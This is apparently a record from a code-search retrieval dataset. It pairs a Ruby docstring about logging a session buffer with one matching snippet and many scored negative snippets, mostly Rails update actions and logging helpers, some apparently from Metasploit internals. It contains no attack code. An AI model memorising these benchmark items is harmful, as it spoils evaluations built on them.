identity.save!\n else\n codeAnswer 502\n @httpCode = :not_found\n end\n rescue\n codeAnswer 504\n @httpCode = :service_unavailable\n end\n else\n codeAnswer 502\n @httpCode = :not_found\n end\n sendJson\n end", "title": "" }, { "docid": "09540591ad21cf9a31ebd212210395c3", "score": "0.5534225", "text": "def generate_token\n\t\tbegin\n\t\t\tself.auth_token = SecureRandom.hex\n\t\tend while self.class.exists?(auth_token: auth_token)\n\tend", "title": "" } ]
60bf3745b7b16d66e5a4114cfd310ed6
This method logs the supplied buffer as coming from the local side of the session.
[ { "docid": "708e1802aeac452721020f7b2bcc6730", "score": "0.7099164", "text": "def log_from_local(buf)\n\t\trlog(buf, log_source)\n\tend", "title": "" } ]
[ { "docid": "bda2ed11a9144f87f7269340668c0b22", "score": "0.6796617", "text": "def log_from_remote(buf)\n\t\trlog(buf, log_source)\n\tend", "title": "" }, { "docid": "bda2ed11a9144f87f7269340668c0b22", "score": "0.6796617", "text": "def log_from_remote(buf)\n\t\trlog(buf, log_source)\n\tend", "title": "" }, { "docid": "8d4a6ffe25308a544c5c0213a73abfe2", "score": "0.64410204", "text": "def buffer_checkpoint(message)\n log_header\n if config.live_logging\n log_line(message)\n else\n @buffer << message\n end\n end", "title": "" }, { "docid": "02fa89ded2c98f9bca65da44d3347cda", "score": "0.6408905", "text": "def write_local(buf) \n\t\t\tdlog(\"PassiveX:#{self} Writing #{buf.length} to local side\", 'core', LEV_3)\n\n\t\t\trsock.put(buf)\n\t\tend", "title": "" }, { "docid": "7c8b25bc7c6f6075579ef5f7eaef2ee0", "score": "0.6162167", "text": "def buffer\n @buffer ||= Buffer.new(config.buffer) do |string|\n @on_output.call(string, :header => log_header) if @on_output\n end\n end", "title": "" }, { "docid": "be48a4b8a81b243528252add67f7a868", "score": "0.6028947", "text": "def buffer\n @buffer ||= Utils::Buffer.new(config.buffer, log_header: name) do |string|\n @on_output.call(string, :header => log_header) if @on_output\n end\n end", "title": "" }, { "docid": "b8f3bea2d349230c6a06ae0cca3ae6bf", "score": "0.57728535", "text": "def add_to_buffer( event )\n str = event.instance_of?(::Logging::LogEvent) ?\n layout.format(event) : event.to_s\n return if str.empty?\n\n buffer << str\n flush if buffer.length >= auto_flushing || immediate?(event)\n\n self\n end", "title": "" }, { "docid": "b451602a0237089db5818b46bf1a13b6", "score": "0.5713424", "text": "def exp_buffer\n result = @receive_buffer\n @receive_buffer = ''\n result\n end", "title": "" }, { "docid": "df24ca49cb86cbd382fa7337755a723c", "score": "0.5701344", "text": "def message_buffer; end", "title": "" }, { "docid": "0ff677d0779a2475c81dec3f519dc01f", "score": "0.56484234", "text": "def message_buffer=(buffer)\n @message_buffer = buffer\n @interaction_highline = nil\n end", "title": "" }, { "docid": "25d3c0af1345766498a55e7f7c14e4ab", "score": "0.55841666", "text": "def flush\n return unless @buffer.size > 0\n @log.write(@buffer.slice!(0..-1).join)\n end", "title": "" }, { "docid": "6f401b57a4a370d179c7bfa77fa03f84", "score": "0.5574285", "text": "def buffer_output(event)\n @privmsg_buffer_mutex.synchronize do\n @privmsg_buffer[event.target] ||= Array.new\n @privmsg_buffer[event.target].push event\n end\n end", "title": "" }, { "docid": "a39e8837ce724068be1a907961ffbbf8", "score": "0.55712205", "text": "def print_buffer(buf)\n $stdout.print buf if @flush_buffer\n $stdout.flush unless $stdout.sync\n end", "title": "" }, { "docid": "80aa948aaff0dc00783f3120848133c0", "score": "0.55668557", "text": "def log(message)\n @collector.sending_stream.puts pack(:log, message)\n end", "title": "" }, { "docid": "f4e7d7efaebacf52b5667f63b431b0a5", "score": "0.5560377", "text": "def flush_buffer\n # note we must discard cancelled timer or else we never create a new timer and stay cancelled.\n if @timer\n @timer.cancel\n @timer = nil\n end\n\n to_send = nil\n @mutex.synchronize do\n unless @buffer.empty?\n to_send = @buffer\n @buffer = ''\n end\n end\n\n if to_send\n internal_send_audit(:kind => :output, :text => to_send, :category => EventCategories::NONE)\n end\n end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5520738", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5520738", "text": "def buffer; end", "title": "" }, { "docid": "d1e3c14ae0a194bb1aa74b1ff181bf83", "score": "0.5520738", "text": "def buffer; end", "title": "" }, { "docid": "9051f7d486b438bc713d72a512e0dfb5", "score": "0.551826", "text": "def save_chat_log\n # log \"saving chatlog\"\n @pstore.transaction do\n @pstore[:log] = @buffer\n #p @pstore[:log]\n end\n\n end", "title": "" }, { "docid": "26df72a9bda85e3af879efdcd8f66bd0", "score": "0.55106854", "text": "def token_buffer_stash(buf)\n @buffers.push(buf)\n end", "title": "" }, { "docid": "f6af8bbd7a5d4baded24a6a5dc3fde3e", "score": "0.5504209", "text": "def flush_buffer; self.input_buffer = \"AAAA\"; end", "title": "" }, { "docid": "82cb916578a6d720b0711e5065f501dd", "score": "0.5494189", "text": "def load_chat_log\n # log \"loading chatlog\"\n @pstore.transaction(true) do\n @buffer = @pstore[:log] || []\n #p @buffer\n end\n end", "title": "" }, { "docid": "966d65cd06146b7b378fb3d03da9df2b", "score": "0.54130614", "text": "def buffer=(buffer)\n @io = buffer\n end", "title": "" }, { "docid": "c5a026408ca7d15879672ed5c78be723", "score": "0.54101837", "text": "def buffer=(buffer)\n @session.request(:vim_set_current_buffer, buffer)\n end", "title": "" }, { "docid": "bf71d98e808689cfb194f0b4fefdef8d", "score": "0.5343247", "text": "def write_remote(buf) \n\t\t\tdlog(\"PassiveX:#{self} Queuing #{buf.length} to remote side\", 'core', LEV_3)\n\n\t\t\t@remote_queue += buf\n\n\t\t\tflush_output\n\t\tend", "title": "" }, { "docid": "7f98b02a6d41737852d66baa9dbf87ee", "score": "0.529818", "text": "def append_buffer(buffer, hash)\n if hash['message'] != nil\n buffer['message'] << \" #{hash['message'].gsub(\"\\n\", ' ')}\"\n end\n end", "title": "" }, { "docid": "1918063460f1b27bd03bc910a8ea25cb", "score": "0.5288579", "text": "def buffer_s\n buffer.join\n end", "title": "" }, { "docid": "df7e58f20e38f6c78ef1833dc422a719", "score": "0.52849764", "text": "def flush\n return unless @buffer.size > 0\n @log.write_method(@buffer.slice!(0..-1).join)\n end", "title": "" }, { "docid": "30209f4c4d632e7bfcce07e54f3ba1bf", "score": "0.5278521", "text": "def write(buffer)\n if @socket\n @socket.write(buffer)\n end\n end", "title": "" }, { "docid": "69253282439e34ba7971526dd42f0a8a", "score": "0.5273166", "text": "def log(log)\n @socket.send(formatter.call(log, self), udp_flags)\n true\n end", "title": "" }, { "docid": "bb7358efa467beb916c04241738b68d9", "score": "0.52632123", "text": "def flush_buffer(buffer)\n source = buffer['source']\n parsers = @config[source]\n if parsers != nil\n parse_match, table = try_parsers(source, parsers, buffer['message'], buffer['timestamp'], buffer['offset'])\n @logger.debug \"table #{table} parse match #{parse_match.to_json}\"\n unless parse_match == nil\n parse_match['type'] = table\n parse_match['system'] = buffer['system']\n parse_match['date'] = Time.at(buffer['timestamp'].to_i/1000).to_s[0..9]\n @output << \"#{Utils::hash_to_map_line(@service, parse_match)}\\n\"\n end\n end\n end", "title": "" }, { "docid": "630a1aff9b8ca389770661fc52f20bd8", "score": "0.5218906", "text": "def buffer(buffer_name = nil)\n #@_out_buf\n #buffer_name ||= Tilt.current_template.instance_variable_get('@outvar') || @outvar || Vue::Helpers.default_outvar\n buffer_name ||=\n ((ct = Tilt.current_template) && ct.instance_variable_get(:@outvar)) ||\n Thread.current.instance_variable_get(:@current_eoutvar) ||\n Vue::Helpers.default_outvar\n #puts \"BUFFER thread-ivars: #{Thread.current.instance_variables}, thread-local-vars: #{Thread.current.send(:local_variables)}\"\n #puts \"BUFFER chosen: #{buffer_name}, controller/view ivars: #{instance_variables}, controller/view local-vars: #{local_variables}\"\n #instance_variable_get(buffer_name)\n instance_variable_get(buffer_name.to_s)\n end", "title": "" }, { "docid": "814c26df7e8b668e4defcc8cb7dad281", "score": "0.52118987", "text": "def initialize(buffer, position)\n @buffer = buffer\n @stack = [StackEntry.new(self, position)]\n\n trace false\n trace_with :print_trace\n trace_to $stdout\n end", "title": "" }, { "docid": "23ce9c8406bdad097d2d87a6b809508a", "score": "0.5189983", "text": "def local_line(msg)\n msg.strip!\n if msg[0,1] == '/'\n msg[0,1] = ''\n indx = ((msg =~ /\\W/) || msg.length)\n cmd = msg[0...indx]\n body = msg[indx+1..-1].to_s\n @connection.mutex.synchronize do\n if @cmds.include? cmd\n ############## dispatch incoming local control event\n begin\n self.send(\"local_#{cmd}\", body)\n rescue\n add_error(\"local command '#{cmd}' generated an exception: #{$!}\\n#{[email protected](\"\\n\")}\")\n end\n else\n add_error \"invalid local command: '#{cmd}'\"\n end\n end\n elsif msg.length > 0\n dispatch :outgoing_broadcast, msg\n @connection.chat_msg(msg, @var[:room])\n end\n end", "title": "" }, { "docid": "efdba67a8306df9ffcfd6a2f81a6e071", "score": "0.51841825", "text": "def asking_buffer=(buffer)\n @asking_buffer = buffer\n @interaction_highline = nil\n end", "title": "" }, { "docid": "535c0a2d7d49960ec8ff82bb71f7babc", "score": "0.51834875", "text": "def log_request(req)\n message = [req.remote_ip, req.command, req.args.join(' ')].join(' ')\n log.info(message)\n end", "title": "" }, { "docid": "6ed207fa87aa4dbc13e31357900f7677", "score": "0.5159748", "text": "def on_message(buffer)\n # writing will never block and will use a buffer written in C when needed.\n publish channel: :chat, message: \"Someone said: #{buffer}\"\n switch_protocol ShoooProtocol if buffer =~ /^shoo[\\r\\n]/i\n write \"You speak!\\n\" if unsubscribe(subscribed?(channel: :quite))\n end", "title": "" }, { "docid": "773b6e4dcb830ffc6bdcc5a2a84b318e", "score": "0.5138643", "text": "def init_buffer(buffer, hash)\n buffer['message'] = hash['message'].gsub(\"\\n\", ' ')\n buffer['source'] = hash['source']\n buffer['timestamp'] = hash['timestamp']\n buffer['offset'] = hash['offset']\n buffer['system'] = hash['system']\n timestamp = buffer['timestamp'].to_i\n buffer['date'] = Time.at(timestamp/1000).to_s[0..9]\n end", "title": "" }, { "docid": "35f03c672dcc716a0af12156887fc022", "score": "0.51370144", "text": "def buffer\n @line[@pos, @line.length - @pos] unless @line.nil?\n end", "title": "" }, { "docid": "5713260aaaf7170a4373e7018672a943", "score": "0.5135203", "text": "def buffered_messages; end", "title": "" }, { "docid": "4b95fa7dd6c91da0809cbb6acc2d2ff7", "score": "0.5093116", "text": "def read_buffer; end", "title": "" }, { "docid": "4b4a65c50cb8a60c020f1f147ba65c09", "score": "0.5086136", "text": "def perform(log)\n log.write(\"#{@message ** @ctx}\\n\")\n true\n end", "title": "" }, { "docid": "daea94f60560c8a86fb72b3b4b176edc", "score": "0.50603396", "text": "def _buffer( the_binding )\n @_buffer = eval( \"_buf\", the_binding )\n end", "title": "" }, { "docid": "5ff0ae0055b655279aa81db8b8f1218a", "score": "0.5044021", "text": "def get_raw_buffer\n @buffer\n end", "title": "" }, { "docid": "16c975a526e34428ac037e74d8275ab2", "score": "0.50435513", "text": "def buffer( msg, flush: true )\n return buffer_reset if quiet\n if msg.respond_to? :each\n msg.each do |msg_line|\n @line_buffer += msg_line\n end\n else\n @line_buffer += msg\n end\n return unless flush && @to_console && @msg_queue.nil?\n STDOUT.print @line_buffer\n STDOUT.flush\n buffer_reset\n end", "title": "" }, { "docid": "284fb8853197684293c60817b46b0af5", "score": "0.50434834", "text": "def log_request\n result = super\n push_outstanding_request\n result\n end", "title": "" }, { "docid": "d546887d1a2188f535b5c5b6522711d6", "score": "0.50432175", "text": "def process_client(client, buffer); end", "title": "" }, { "docid": "869acb11a569f23df21056e69aee0ed8", "score": "0.50369006", "text": "def output_buffer; end", "title": "" }, { "docid": "869acb11a569f23df21056e69aee0ed8", "score": "0.50369006", "text": "def output_buffer; end", "title": "" }, { "docid": "cce160277d5fff608fb3d0d7798b1cd5", "score": "0.5033142", "text": "def print(str)\n @buf << str\n end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.50223446", "text": "def log; end", "title": "" }, { "docid": "016f8b9cdb9f6bfa873e54b7116755ee", "score": "0.50078887", "text": "def log\n end", "title": "" }, { "docid": "a2632961867de348c686dcd7368b29d2", "score": "0.50072867", "text": "def format(tag, time, record)\n @log.trace \"Buffering #{tag}\"\n [tag, record].to_msgpack\n end", "title": "" }, { "docid": "5ae77f556bec8cdbcbe5876a104a8c30", "score": "0.5006203", "text": "def log(text=\"\", new_line=true)\n current_server ? current_server.log(text, new_line) : super(text, new_line)\n end", "title": "" }, { "docid": "5e0a02b0aadecadc42c337e7994049f4", "score": "0.49851644", "text": "def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end", "title": "" }, { "docid": "fd6e1d2439532d62020f2996c20ecd15", "score": "0.4979855", "text": "def send_buffer(verbose=false)\n if @message.length > 0\n self.transmit()\n [email protected]\n send_start=Time.now()\n show=\"\"\n while @message.length > 0\n @m.synchronize do\n self.sendcmd(\"text.add_tx\",@message)\n @message=\"\"\n end\n waited=0\n max=@start_wait\n\n result=\"\"\n while waited<max\n waited=waited+1\n result=self.get_tx_data()\n if result.length > 0\n max=@char_wait\n waited=0\n show=show+result\n if verbose\n puts show\n end\n end\n sleep 1\n end\n end\n end\n self.receive()\n send_end=Time.now()\n puts \"#{send_length} characters sent in #{(send_end-send_start).to_i} seconds, #{((((send_length/(send_end.to_f-send_start.to_f))*10)+0.5).to_i)/10.to_f} chars/sec.\" if @debug\n return show\n end", "title": "" }, { "docid": "6776f609b690013b14fd6590abc08a88", "score": "0.4971339", "text": "def inject(frame)\n @sock.send(frame, 0)\n end", "title": "" }, { "docid": "46349476041098dd46852c9631c84269", "score": "0.4965835", "text": "def process_output(buf)\n force_utf8(buf)\n print_buffer(buf)\n\n @out_mutex.synchronize do\n @buffer << buf\n if @constrain && @buffer.length > @buffer_size\n @buffer = @buffer[-@buffer_size..-1]\n end\n @thread.wakeup if @thread\n end\n end", "title": "" }, { "docid": "2303a5627bbf99a98c2af183cdb9549f", "score": "0.4957521", "text": "def inject(frame)\n\t\[email protected](frame, 0)\n\tend", "title": "" }, { "docid": "2303a5627bbf99a98c2af183cdb9549f", "score": "0.4956946", "text": "def inject(frame)\n\t\[email protected](frame, 0)\n\tend", "title": "" }, { "docid": "901c4479189e60ffe49184bdaa99f0ff", "score": "0.49512377", "text": "def source_buffer; end", "title": "" }, { "docid": "901c4479189e60ffe49184bdaa99f0ff", "score": "0.49512377", "text": "def source_buffer; end", "title": "" }, { "docid": "901c4479189e60ffe49184bdaa99f0ff", "score": "0.49512377", "text": "def source_buffer; end", "title": "" }, { "docid": "1ca0eef670efe6ada4a0db060af9ef17", "score": "0.49472627", "text": "def flush_log_buffer()\n APPS_LOCK.synchronize {\n loop {\n break if @@logs_buffer.empty?\n encoded_logs = JSON.dump({\n 'service_name' => 'appcontroller',\n 'host' => my_node.public_ip,\n 'logs' => @@logs_buffer.shift(LOGS_PER_BATCH),\n })\n\n begin\n url = URI.parse(\"https://#{get_login.public_ip}:\" +\n \"#{AppDashboard::LISTEN_SSL_PORT}/logs/upload\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n response = http.post(url.path, encoded_logs,\n {'Content-Type'=>'application/json'})\n rescue Exception\n # Don't crash the AppController because we weren't able to send over\n # the logs - just continue on.\n end\n }\n }\n end", "title": "" }, { "docid": "0fce9728336ff58780f87d4d37288495", "score": "0.4938846", "text": "def send_raw_line(line)\n @logger.debug \"<< #{line}\" if @logger\n @socket.puts(line)\n end", "title": "" }, { "docid": "b4f727de3a5be9c68efa978492164eb3", "score": "0.49350694", "text": "def autoflush_log=(_arg0); end", "title": "" }, { "docid": "b4f727de3a5be9c68efa978492164eb3", "score": "0.49350694", "text": "def autoflush_log=(_arg0); end", "title": "" }, { "docid": "dd64ee842abc259612f82ca5896580d5", "score": "0.4922575", "text": "def buffer\n @transfer[:buffer].read_string(@transfer[:length])\n end", "title": "" }, { "docid": "375f659fc1021bb973ffa5b9ea26d5c8", "score": "0.49175614", "text": "def log\n @log_output.string\n end", "title": "" }, { "docid": "a68899be88bd588ef4a5a4bae146079c", "score": "0.49091336", "text": "def log=(log); end", "title": "" }, { "docid": "f8e62066ac05aefdbbe37291669055d3", "score": "0.49088994", "text": "def buffer_lines\n buffer_line_cycle.map { |i| self[i] }.join(\"\\n\")\n end", "title": "" }, { "docid": "0bc958988db149841cca260b816f3295", "score": "0.49010545", "text": "def tunnel_local\n\t\tbegin\n\t\t\trstream.localinfo\n\t\trescue ::Exception\n\t\t\t'127.0.0.1'\n\t\tend\n\tend", "title": "" }, { "docid": "ce1d6be2ac16ad00c7f963c1ebbe6549", "score": "0.4900281", "text": "def log()\n @log\n end", "title": "" }, { "docid": "aa77439566056578271e9b0dc52bcca7", "score": "0.4894543", "text": "def receive_reply(reply)\n FSR::Log.debug reply.inspect\n end", "title": "" }, { "docid": "1b42c65e26e9b6abca0d47b658cdd9c5", "score": "0.48911342", "text": "def local!\n\t\t\t@local = true\n\t\t\t@root = \"#{Dir.home}/log\"\n\t\t\tlog!\n\t\tend", "title": "" }, { "docid": "92a8b99899ba50b5f1560b0faa11a4c5", "score": "0.48861694", "text": "def log_request_begin(logger, env)\n # Assuming remote addresses are IPv4, make them all align to the same width\n remote_addr = env['HTTP_X_FORWARDED_FOR'] || env[\"REMOTE_ADDR\"] || \"-\"\n remote_addr = remote_addr.ljust(15)\n\n # Log the fact that a query string was present, but do not log its contents\n # because it may have sensitive data.\n if (query = env[\"QUERY_STRING\"]) && !query.empty?\n query_info = '?...'\n else\n query_info = ''\n end\n\n # Session\n if env['global_session']\n cookie = env['global_session']\n info = [ env['global_session'].id,\n cookie.keys.map{|k| %{\"#{k}\"=>\"#{cookie[k]}\"} }.join(', ') ]\n sess = %Q{Session ID: %s Session Data: {%s}} % info\n else\n sess = \"\"\n end\n\n shard_info = 'Shard: ' + (env['HTTP_X_SHARD'] || 'default').to_s + ';'\n\n params = [\n env[\"REQUEST_METHOD\"],\n env[\"PATH_INFO\"],\n query_info,\n remote_addr,\n sess,\n shard_info,\n env[\"rack.request_uuid\"] || ''\n ]\n\n logger.info %Q{Processing %s \"%s%s\" (for %s) %s %s Request ID: %s} % params\n end", "title": "" }, { "docid": "0637783a64a9775e64d09c40c70b2a7c", "score": "0.4885755", "text": "def feedbuffer(buffer, params={})\n feeder = get_feed_node(params)\n augment_feeder_params(params)\n feeder.feedbuffer(buffer, params)\n end", "title": "" }, { "docid": "baed093cb78071d5bfbbe5af9551e474", "score": "0.48794192", "text": "def flush_buffer\n if @timer\n @timer.cancel\n @timer = nil\n end\n unless @buffer.empty?\n internal_send_request('append_output', :text => @buffer)\n @buffer = ''\n end\n end", "title": "" }, { "docid": "62747edc6b449fa0c39eb02255b00b86", "score": "0.4877797", "text": "def forwarded_tcpip(session, channel, packet); end", "title": "" }, { "docid": "2ced9bbc10179d57229dbc1df81df739", "score": "0.4870318", "text": "def call(buffer)\n return if @block.nil?\n\n to_call = @block\n to_call.call(self, slice_from_buffer(buffer))\n end", "title": "" }, { "docid": "5ed3f1626a53559513468f7b08c43478", "score": "0.4864897", "text": "def trace(t)\n @socket << \"TRACE #{t}\"\n end", "title": "" }, { "docid": "899057f0345c5b1d12b12ab592b383f2", "score": "0.4863053", "text": "def log()\n return @log unless @log.nil?\n @flow.log()\n end", "title": "" }, { "docid": "b06377868c63bd232e620e36e85331f6", "score": "0.4860232", "text": "def log(message); logger.info(message); end", "title": "" }, { "docid": "4b361f41295a8f97c00d0b91a8654a73", "score": "0.48567012", "text": "def set(buffer)\n @buffer = buffer.encode('binary')\n @length = buffer.length\n @position = 0\n end", "title": "" }, { "docid": "cf8f3c4a943136b35d82529fbc753ccd", "score": "0.48536044", "text": "def print(string)\n self.buffer += string\n Kernel.print string\n end", "title": "" }, { "docid": "ec911b83ccc23ea63afb6af51ad770ed", "score": "0.48527682", "text": "def record_trace(position, bytes, name)\n @trace_proc.call(self, position, bytes, name) if tracing_enabled?\n end", "title": "" }, { "docid": "9e0bb5b646a6ab6b16172f6ede5cef91", "score": "0.48501292", "text": "def append!(buffer)\n @str << buffer.to_s\n self\n end", "title": "" }, { "docid": "9e0bb5b646a6ab6b16172f6ede5cef91", "score": "0.48501292", "text": "def append!(buffer)\n @str << buffer.to_s\n self\n end", "title": "" }, { "docid": "248939e03593c65c4cb3c86e42b8e4cf", "score": "0.48483676", "text": "def do_log( msg )\n log( msg )\n end", "title": "" }, { "docid": "33988a904ae8a21f2c496ded0d5525cd", "score": "0.48427138", "text": "def on_session_open(session)\n\t\t\t\tprint_status(\"Session received Sending Message to #{@user}\")\n\t\t\t\tsend_direct(\"Source: #{@source} Session: #{session.sid} IP: #{session.session_host} Peer: #{session.tunnel_peer} Platform: #{session.platform} Type: #{session.type}\")\n\t\t\t\treturn\n\t\t\tend", "title": "" }, { "docid": "d33e2ba7aa1fb4a4efd1635db93b112b", "score": "0.48405877", "text": "def log_request\n \"#{request.ip} - #{session[:login] ? session[:login].name : '-'} [#{Time.now.strftime('%d/%m/%Y:%H:%M:%S %z')}] \\\"#{request.request_method} #{request.path} HTTP\\\" #{response.status} #{response.content_length} #{timer.stop(request.object_id).round(3)}\"\n end", "title": "" }, { "docid": "58623c10ba1d07198f29b0dbd26a67b3", "score": "0.48348278", "text": "def logged\n @from_time = Time.now\n end", "title": "" } ]
bc25af3d63330f481daf80743950b2c3
PATCH/PUT /ambulanceinfos/1 PATCH/PUT /ambulanceinfos/1.json
[ { "docid": "7a11e378ccbcdfade500642e64fa75b8", "score": "0.7355907", "text": "def update\n respond_to do |format|\n if @ambulanceinfo.update(ambulanceinfo_params)\n format.html { redirect_to @ambulanceinfo, notice: 'Ambulanceinfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @ambulanceinfo }\n else\n format.html { render :edit }\n format.json { render json: @ambulanceinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "dcd8cfed63d87d12c71e62ace36d7cbe", "score": "0.6578657", "text": "def update\n @ambiance = Ambiance.find(params[:id])\n\n respond_to do |format|\n if @ambiance.update_attributes(params[:ambiance])\n format.html { redirect_to(@ambiance, :notice => 'L ambiance a ete modifiee.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ambiance.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f07154fa41dee5ccaad23590b121be25", "score": "0.6511168", "text": "def update\n respond_to do |format|\n if @observance.update(observance_params)\n format.html { redirect_to @observance, notice: 'Observance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @observance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "064604d7b55bb84c45e6f334441175a5", "score": "0.64163035", "text": "def update\n respond_to do |format|\n if @ambience.update(ambience_params)\n format.html { redirect_to @ambience, notice: 'Ambience was successfully updated.' }\n format.json { render :show, status: :ok, location: @ambience }\n else\n format.html { render :edit }\n format.json { render json: @ambience.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "79891ea31fe7ea9f62318cf77da6d826", "score": "0.63222605", "text": "def update\n respond_to do |format|\n if @ambit.update(ambit_params)\n format.html { redirect_to @ambit, notice: 'Ambit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ambit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30da94e41d8ee5f186582dfb86d28f27", "score": "0.6297692", "text": "def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end", "title": "" }, { "docid": "6d944cd6fc389dd13592c2102b18a4fd", "score": "0.6245937", "text": "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a7704a4a4aa9ee89d6efe43ba135265c", "score": "0.6222208", "text": "def update\n # if @bonus.update(bonus_params)\n # render :show, status: :ok, location: @bonus\n # else\n # render json: @bonus.errors, status: :unprocessable_entity\n # end\n end", "title": "" }, { "docid": "b51488247eb5efa2822d481a54c0b909", "score": "0.6219611", "text": "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "daa6169159f4cfe04d2d2bc99ff7c175", "score": "0.620102", "text": "def update\n @allowance = Allowance.find(params[:id])\n\n respond_to do |format|\n if @allowance.update_attributes(params[:allowance])\n format.html { redirect_to @allowance, notice: 'Allowance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @allowance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "459ad8b8a5f29f2a94554ff493ed4bd7", "score": "0.61367285", "text": "def update\n @absence = Absence.find(params[:id])\n #@member = Member.find(params[:member_id])\n #@club = Club.find(params[:club_id] ) \n\n \n \n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to club_member_absence_path(@club,@member,@absence), notice: 'Absence was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "96b603c67648f9bfee0ba1eebfdadaf8", "score": "0.6130882", "text": "def update\n @flat_happening = FlatHappening.find(params[:id])\n\n if @flat_happening.update_attributes(params[:flat_happening])\n head :no_content\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b49bade8815def9eeaae119e99444933", "score": "0.61169577", "text": "def update\n respond_to do |format|\n if @ava_info.update(ava_info_params)\n format.html { redirect_to @ava_info, notice: 'Запись успешно обновлена' }\n format.json { render :show, status: :ok, location: @ava_info }\n else\n format.html { render :edit }\n format.json { render json: @ava_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "539204a2d8bf14c318af25a311f62594", "score": "0.61088085", "text": "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "15db5bb1d52c969e53af65d0f375a5df", "score": "0.61080706", "text": "def update\n respond_to do |format|\n if @special_allowance.update(special_allowance_params)\n format.html { redirect_to special_allowances_path, notice: 'Tunjangan Khusus Telah Diperbarui.' }\n format.json { render :show, status: :ok, location: @special_allowance }\n else\n format.html { render :edit }\n format.json { render json: @special_allowance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e5447e829d6abe5c2bd06a39b1a9f5d", "score": "0.6101467", "text": "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0ce776f5ee4081bfb8df6ba89b1dabc", "score": "0.6090144", "text": "def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc14fa9e5986495e3be141edfde3e2e2", "score": "0.6082908", "text": "def update\n respond_to do |format|\n if @bicicletum.update(bicicletum_params)\n format.html { redirect_to @bicicletum, notice: 'Bicicletum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bicicletum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc30dad73497718dc5bc1f192ccbebe2", "score": "0.60780597", "text": "def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end", "title": "" }, { "docid": 